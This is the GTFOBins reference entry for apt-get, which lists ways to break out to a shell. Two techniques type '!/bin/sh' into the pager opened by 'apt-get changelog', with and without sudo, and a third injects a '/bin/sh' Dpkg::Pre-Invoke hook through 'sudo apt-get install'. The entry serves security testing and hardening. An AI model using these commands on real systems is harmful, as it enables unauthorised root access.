GTFOBins.github.io/_gtfobins/apt-get.md

592 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. apt-get changelog apt !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo apt-get changelog apt !/bin/sh
description code
For this to work the target package (e.g., `sl`) must not be installed. sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl